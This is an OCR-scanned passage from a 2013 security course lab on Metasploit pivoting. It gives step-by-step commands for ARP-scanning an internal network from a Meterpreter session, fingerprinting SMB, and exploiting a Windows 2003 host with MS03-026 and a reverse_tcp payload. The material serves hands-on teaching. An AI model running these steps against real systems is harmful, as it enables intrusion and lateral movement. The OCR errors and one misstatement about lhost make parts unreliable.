Figure 59: Adding a Route to the Victim Network
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12. To determine an IP address of another machine on the Internal network, type:
meterpreter > run arp_scanner -r 192.168.1.0/24

meterpreter > run arp scanner -r
] ARP Scanning 192.168.1.6/24

[.
[*] IP: 192.168.1.1 MAC 00:0c:29:31:57:1e
[*] IP: 192.168.1.100 MAC 00:0c:29:43:c9:0d

Figure 60: Enumerating Internal Hosts

13. Background the current Meterpreter session by typing the following command:
meterpreter > background

Figure 61: Background the Session

Now, we will scan the next host on the list. We are choosing 192.168.1.100 because
192.168.1.1 is the gateway and the gateway is usually a router running Cisco 10S.

14. To scan the 192.168.1.100 IP address identified by the ARP Scan, type:
msf exploit(ms09_002_memory_corruption) > use auxiliary/scanner/smb/smb_version

| exploitl b > use auxliary/scanner/smb/snb version

Figure 62: Using the Auxiliary Scanner

15. Set the RHOSTS to 192.168.1.100 by typing the following command:
msf auxiliary(smb_version) > set rhosts 192.168.1.100

|r5f auxiliary( } = set rhosts 192.168.1.100

rhosts == 192.168.1.100

Figure 63: Setting the RHOSTS

7/18/2013 Copyright © 2013 NISGTC Page 33 of 37



Lab 11: Using Metasploit to Attack a Remote System

16. Type the following command to run the SMB auxiliary scanner:
msf auxiliary(smb_version) > run

.100:445 1is running Windows 2003 No Service Pack

of 1 hosts (100% complete)
 module execution completed

) > ||

Figure 64: Running the Scan

Windows 2003 without a service pack is vulnerable to the Microsoft RPC DCOM exploit.
It is important to know that this system is not vulnerable behind the firewall because
the exploit requires port 135 to be open. That ports to other machines on the internal
network, but it is not open to machines on the Internet. However, since we have a
connection to a machine on the internal network, we can attack it internally.

17. To use the Microsoft RPC DCOM exploit, type the following command
msf auxiliary(smb_version) > use exploit/windows/dcerpc/ms03_026_dcom

msf auxiliary( ) > use exploit/windews/dcenpc/ms03,4626 dcom

msf exploit|

Figure 65: Using the Microsoft RPC DCOM exploit

18. Type the following command to set the remote host to 192.168.1.100:
msf exploit(ms03_026_dcom) > set rhost 192.168.1.100

(ploit( ) > set rnost 192.168.1.100

> 192.168.1.100
Figure 66: Setting the RHOST

19. Type the following command to set the payload to Meterpreter:
msf exploit(ms03_026_dcom) > set payload windows/meterpreter/reverse_tcp

nst exploit( ) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

Figure 67: Setting the PAYLOAD

The local host, or lhost, will need to be set to the IP address of the victim machine.
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20. Type the following command to set the payload to Meterpreter:
msf exploit(ms03_026_dcom) > set lhost 192.168.1.175

msT exploit( ) » set lhost 192.168.1.175

lhost => 192.168.1.175
Figure 68: Setting the LHOST

21. Type the following command to exploit the 192.168.1.100 machine:
msf exploit(ms03_026_dcom) > exploit

exploit( ) > exploit
Started reverse handler on 192.168.1.175:4444 via the meterpreter on session 1

n ip tcp:192.168.1.100{135] ...
n ip tcp:192.168.1,300[135] ...

Figure 69: Exploitation

If your connection fails or pauses, check the Windows XP Pro machine; you may have
received a Security Alert pop-up. If so, you will need to click Unblock. It is important to
note that sometimes users click Unblock without knowing what connections they are
allowing into their system. If the connection is still unsuccessful, you may need to check
to see if the Windows 2003 SQL machine crashed. If so, you will need to reboot the
system. You may have to use CTRL-Z to abort the exploit and issue the exploit
command again.

22. Type the following command to view the IP address of the new victim machine:
meterpreter > ipconfig

meterpreter > ipconfig
Interface
am : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520

IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0

Interface 65539

Name : Intel(R) PRO/10O® MT Network Conhection
Hardware MAC : 00:0c:29:43:¢9:0d

MTU :

IPv4 Address : ; 00

IPv4 Netmask : ? .0

Figure 70: The IP address of the New Victim
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23. On the Windows XP Pro machine open a command prompt, and type:
C:\netstat —an

Command Prompt

0T Y
.k - \

HED
=

T
TCF
LU
UDF
UoP
UDF
UDF
UoP
LUOP
UDF
UoF

p

ESTAELISHED

R R R e
R SR

P e e
b e e

Figure 71: The Established Connections

You should see two established connections:

e One from the Victim to the Attacker’s Public IP address
e One from the XP Victim (Pivot Machine) to the Windows Server Victim

3.2 Conclusion

Once a hacker gets into the internal network, their job has not necessarily finished. In
fact, it may have just started. The attacker can scan for new victims by utilizing the tools
within Metasploit. The attacker can leverage their position on the internal network to
exploit systems that are not normally vulnerable to attack because they are not Internet
facing. This illustrates the importance of patching all systems on an internal network.

3.3 Discussion Questions
1. How do you add a route to the victim network using Metasploit?
2. How do you scan machines on the internal network using Metasploit?
3. What does an attacker from the Internet know about an internal network?
4. What is the Meterpreter command to get a command prompt on the victim?
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